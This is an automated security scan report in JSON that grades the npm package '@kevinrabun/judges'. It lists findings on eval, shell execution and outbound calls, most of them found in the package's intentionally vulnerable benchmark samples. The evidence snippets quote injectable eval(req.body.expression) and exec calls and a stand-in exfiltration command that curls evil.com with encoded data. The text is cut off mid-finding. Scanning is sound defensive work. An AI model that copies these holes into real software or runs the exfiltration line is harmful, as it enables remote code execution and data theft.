Raw scan report

Judges — the complete, unedited output of the deterministic mcptrustchecker engine v1.13.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.

← Back to the scan page
{
  "tool": {
    "name": "mcptrustchecker",
    "version": "1.13.0",
    "methodologyVersion": "mcptrustchecker-1.13"
  },
  "target": {
    "id": "@kevinrabun/judges",
    "source": {
      "kind": "package",
      "origin": "@kevinrabun/judges"
    },
    "server": {
      "name": "@kevinrabun/judges"
    }
  },
  "grade": "B",
  "score": {
    "score": 85,
    "threatScore": 91,
    "grade": "B",
    "band": "B",
    "categorySubtotals": {
      "injection": 9.45,
      "exfiltration": 0,
      "permissions": 0,
      "supply-chain": 0,
      "network": 0,
      "hygiene": 0
    },
    "vector": [
      {
        "kind": "threat",
        "ruleId": "MTC-SRC-009",
        "category": "injection",
        "severity": "medium",
        "confidence": "strong",
        "rawWeight": 9,
        "confidenceMult": 0.7,
        "diminishingFactor": 1,
        "appliedPenalty": 6.3
      },
      {
        "kind": "threat",
        "ruleId": "MTC-SRC-009",
        "category": "injection",
        "severity": "medium",
        "confidence": "strong",
        "rawWeight": 9,
        "confidenceMult": 0.7,
        "diminishingFactor": 0.5,
        "appliedPenalty": 3.15
      },
      {
        "kind": "client",
        "term": "capability-exposure",
        "level": "high",
        "label": "capability blast radius (high) — client exposure if the model is manipulated",
        "appliedPenalty": 6
      },
      {
        "kind": "client",
        "term": "verification-discount",
        "level": "source",
        "label": "publisher verification (provenance) — cryptographic build provenance ties the artifact to its source",
        "appliedPenalty": 0
      },
      {
        "kind": "client",
        "term": "coverage-honesty",
        "level": "source",
        "label": "inspection depth (source) — how much of the target the scan could see",
        "appliedPenalty": 0
      }
    ],
    "gatesFired": [],
    "methodologyVersion": "mcptrustchecker-1.13"
  },
  "capability": {
    "level": "high",
    "reasons": [
      "can send data / act on an external service",
      "reads sensitive or local data",
      "has a read → egress path (a data-exfiltration surface)",
      "can execute shell commands or code"
    ],
    "tags": [
      "sensitive-source",
      "code-exec",
      "external-sink"
    ]
  },
  "coverage": {
    "level": "source",
    "inputs": {
      "toolSurface": false,
      "implementationSource": true,
      "packageMetadata": true,
      "liveTransport": false
    },
    "caveats": [
      "No tools were enumerated, so prompt-injection, capability and toxic-flow analysis had no tool surface to inspect. To grade a package’s real runtime tools, scan the running server: --command \"npx -y <package>\"."
    ]
  },
  "findings": [
    {
      "ruleId": "MTC-SRC-006",
      "title": "Reads a sensitive credential path or dumps the environment (dist/evaluators/hallucination-detection.js)",
      "category": "exfiltration",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/evaluators/hallucination-detection.js:1155`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/evaluators/hallucination-detection.js"
      },
      "evidence": "\"and configure your .npmrc to route scoped packages to your private registry.\", reference: \"Dep",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-006",
        "file": "dist/evaluators/hallucination-detection.js",
        "line": 1155,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/benchmark-advanced.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-advanced.js:1096`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-advanced.js"
      },
      "evidence": "o-eval const result = eval(req.body.expression); // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/benchmark-advanced.js",
        "line": 1096,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/benchmark-ai-agents.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-ai-agents.js:714`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-ai-agents.js"
      },
      "evidence": "\"convenience\" return eval(expression); } // AI-generated template renderer export function renderTemplate(template:",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/benchmark-ai-agents.js",
        "line": 714,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/benchmark-expanded-2.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-expanded-2.js:2592`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-expanded-2.js"
      },
      "evidence": "T['formula']; $result = eval(\"return \" . $formula . \";\"); echo \"Result: $result\"; // Insecure file upload - no validati",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/benchmark-expanded-2.js",
        "line": 2592,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/benchmark-expanded.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-expanded.js:275`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-expanded.js"
      },
      "evidence": "T['formula']; $result = eval(\"return \" . $formula . \";\"); echo \"Result: $result\"; ?>`, expectedRuleIds: [\"CYBER-",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/benchmark-expanded.js",
        "line": 275,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/benchmark-languages.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-languages.js:455`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-languages.js"
      },
      "evidence": "arams[:expr] result = eval(expression) { result: result }.to_json end post '/transform' do code = JSON.parse(requ",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/benchmark-languages.js",
        "line": 455,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/benchmark-quality-ops.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-quality-ops.js:1266`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-quality-ops.js"
      },
      "evidence": "o-eval const result = eval(req.body.expression); // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/benchmark-quality-ops.js",
        "line": 1266,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/benchmark-security-deep.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-security-deep.js:1468`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-security-deep.js"
      },
      "evidence": "ry { const result = eval(expression); res.json({ result }); } catch (e) { res.status(400).json({ error: \"I",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/benchmark-security-deep.js",
        "line": 1468,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/benchmark.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark.js:160`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark.js"
      },
      "evidence": ") => { const result = eval(req.body.expression); res.json({ result }); });`, expectedRuleIds: [\"CYBER-001\",",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/benchmark.js",
        "line": 160,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/coach-mode.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/coach-mode.js:33`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/coach-mode.js"
      },
      "evidence": "xplanation: \"eval() and new Function() execute arbitrary code strings, enabling code injection attacks where attacker-co",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/coach-mode.js",
        "line": 33,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-001",
      "title": "Dynamic code execution in server code (dist/commands/deprecated.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/deprecated.js:21`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/deprecated.js"
      },
      "evidence": "01. The new rule covers eval(), Function(), and other injection vectors.\", }, { ruleId: \"PERF-LOOP-001\",",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-001",
        "file": "dist/commands/deprecated.js",
        "line": 21,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/auto-fix.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/auto-fix.js:31`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/auto-fix.js"
      },
      "evidence": "ents\", before: 'exec(\"git \" + command)', after: 'execFile(\"git\", [command])', language: \"typescr",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/auto-fix.js",
        "line": 31,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/batch-review.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/batch-review.js:16`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/batch-review.js"
      },
      "evidence": "ty: \"critical\", regex: /exec(?:Sync)?\\s*\\(\\s*`[^`]*\\$\\{/ }, { name: \"empty-catch\", severity: \"medium\", regex: /catch",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/batch-review.js",
        "line": 16,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/benchmark-advanced.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-advanced.js:1432`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-advanced.js"
      },
      "evidence": "irectory): result = subprocess.run([\"dir\", \"/B\", directory], capture_output=True, text=True, shell=True) return",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/benchmark-advanced.js",
        "line": 1432,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/benchmark-ai-agents.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-ai-agents.js:477`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-ai-agents.js"
      },
      "evidence": "ring) => { return execSync(command).toString(); }, }, { name: \"read_file\", description: \"Read any",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/benchmark-ai-agents.js",
        "line": 477,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/benchmark-compliance-ethics.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-compliance-ethics.js:1838`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-compliance-ethics.js"
      },
      "evidence": "port { execSync } from \"child_process\"; import fs from \"fs\"; export function getSystemInfo() { // Linux-specific /pro",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/benchmark-compliance-ethics.js",
        "line": 1838,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/benchmark-coverage-gaps.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-coverage-gaps.js:807`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-coverage-gaps.js"
      },
      "evidence": "\": \"node -e \\\\\"require('child_process').exec('curl https://evil.com/collect?data='+encodeURIComponent(JSON.stringify({cw",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/benchmark-coverage-gaps.js",
        "line": 807,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/benchmark-expanded-2.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-expanded-2.js:3914`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-expanded-2.js"
      },
      "evidence": "xec with user input exec(f\"output = f'{greeting}, {name}!'\") return locals().get(\"output\", \"\") `, expect",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/benchmark-expanded-2.js",
        "line": 3914,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/benchmark-expanded.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-expanded.js:1754`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-expanded.js"
      },
      "evidence": "tion deploy() { await exec(\\`aws configure set aws_access_key_id \\${DEPLOY_CONFIG.awsAccessKeyId}\\`); await exec(\\`d",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/benchmark-expanded.js",
        "line": 1754,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/benchmark-languages.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-languages.js:379`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-languages.js"
      },
      "evidence": "id; $this->pdo->exec($sql); } public function deleteByName(string $name): int { $sql = \"DELETE",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/benchmark-languages.js",
        "line": 379,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-002",
      "title": "Shell/command execution in server code (dist/commands/benchmark-security-deep.js)",
      "category": "permissions",
      "severity": "high",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-security-deep.js:934`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-security-deep.js"
      },
      "evidence": "Python subprocess with shell=True\", language: \"python\", code: `import subprocess from flask import Flas",
      "owasp": "LLM05:2025 Improper Output Handling",
      "data": {
        "rule": "MTC-SRC-002",
        "file": "dist/commands/benchmark-security-deep.js",
        "line": 934,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-advanced.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-advanced.js:366`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-advanced.js"
      },
      "evidence": "tVisitedPages(), }; fetch(\"https://analytics.third-party.com/collect\", { method: \"POST\", body: JSON.stringif",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-advanced.js",
        "line": 366,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-ai-agents.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-ai-agents.js:1121`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-ai-agents.js"
      },
      "evidence": "it Promise.timeout( fetch(\"https://api.example.com/data\"), 5000 ); // Promise.retry doesn't exist const r",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-ai-agents.js",
        "line": 1121,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-compliance-ethics.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-compliance-ethics.js:1056`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-compliance-ethics.js"
      },
      "evidence": "get_data(): resp = requests.get(\"https://api.example.com/data\") return resp.json()`, expectedRuleIds: [",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-compliance-ethics.js",
        "line": 1056,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-coverage-gaps.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-coverage-gaps.js:310`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-coverage-gaps.js"
      },
      "evidence": "const tokenRes = await fetch(\"https://provider.com/oauth/token\", { method: \"POST\", body: JSON.stringify({ code,",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-coverage-gaps.js",
        "line": 310,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-expanded-2.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-expanded-2.js:4827`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-expanded-2.js"
      },
      "evidence": "const price = await fetch('https://api.pricing.com/widget').then(r => r.json()); assert(price.amount > 0); });",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-expanded-2.js",
        "line": 4827,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-expanded.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-expanded.js:1591`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-expanded.js"
      },
      "evidence": "based analytics await fetch(\"https://analytics.us-east-1.amazonaws.com/ingest\", { method: \"POST\", body: JSON.s",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-expanded.js",
        "line": 1591,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-infrastructure.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-infrastructure.js:537`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-infrastructure.js"
      },
      "evidence": "const response = await fetch(\"https://payment-api.example.com/charge\", { method: \"POST\", headers: { \"Content-Ty",
      "owasp": "LLM02:2025 Sensitive Information Disclosure",
      "data": {
        "rule": "MTC-SRC-003",
        "file": "dist/commands/benchmark-infrastructure.js",
        "line": 537,
        "nonRuntime": false
      }
    },
    {
      "ruleId": "MTC-SRC-003",
      "title": "Hardcoded egress to an external endpoint (dist/commands/benchmark-quality-ops.js)",
      "category": "exfiltration",
      "severity": "medium",
      "confidence": "strong",
      "description": "In the server's implementation (`dist/commands/benchmark-quality-ops.js:1887`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
      "remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
      "location": {
        "kind": "server",
        "name": "dist/commands/benchmark-quality-ops.js"
      },
      "evidence": "tion syncExternal() { fetch(\"https://partner-api.com/sync\").catch(() => {}); }`, expectedRuleIds: [\"REL-001\",",
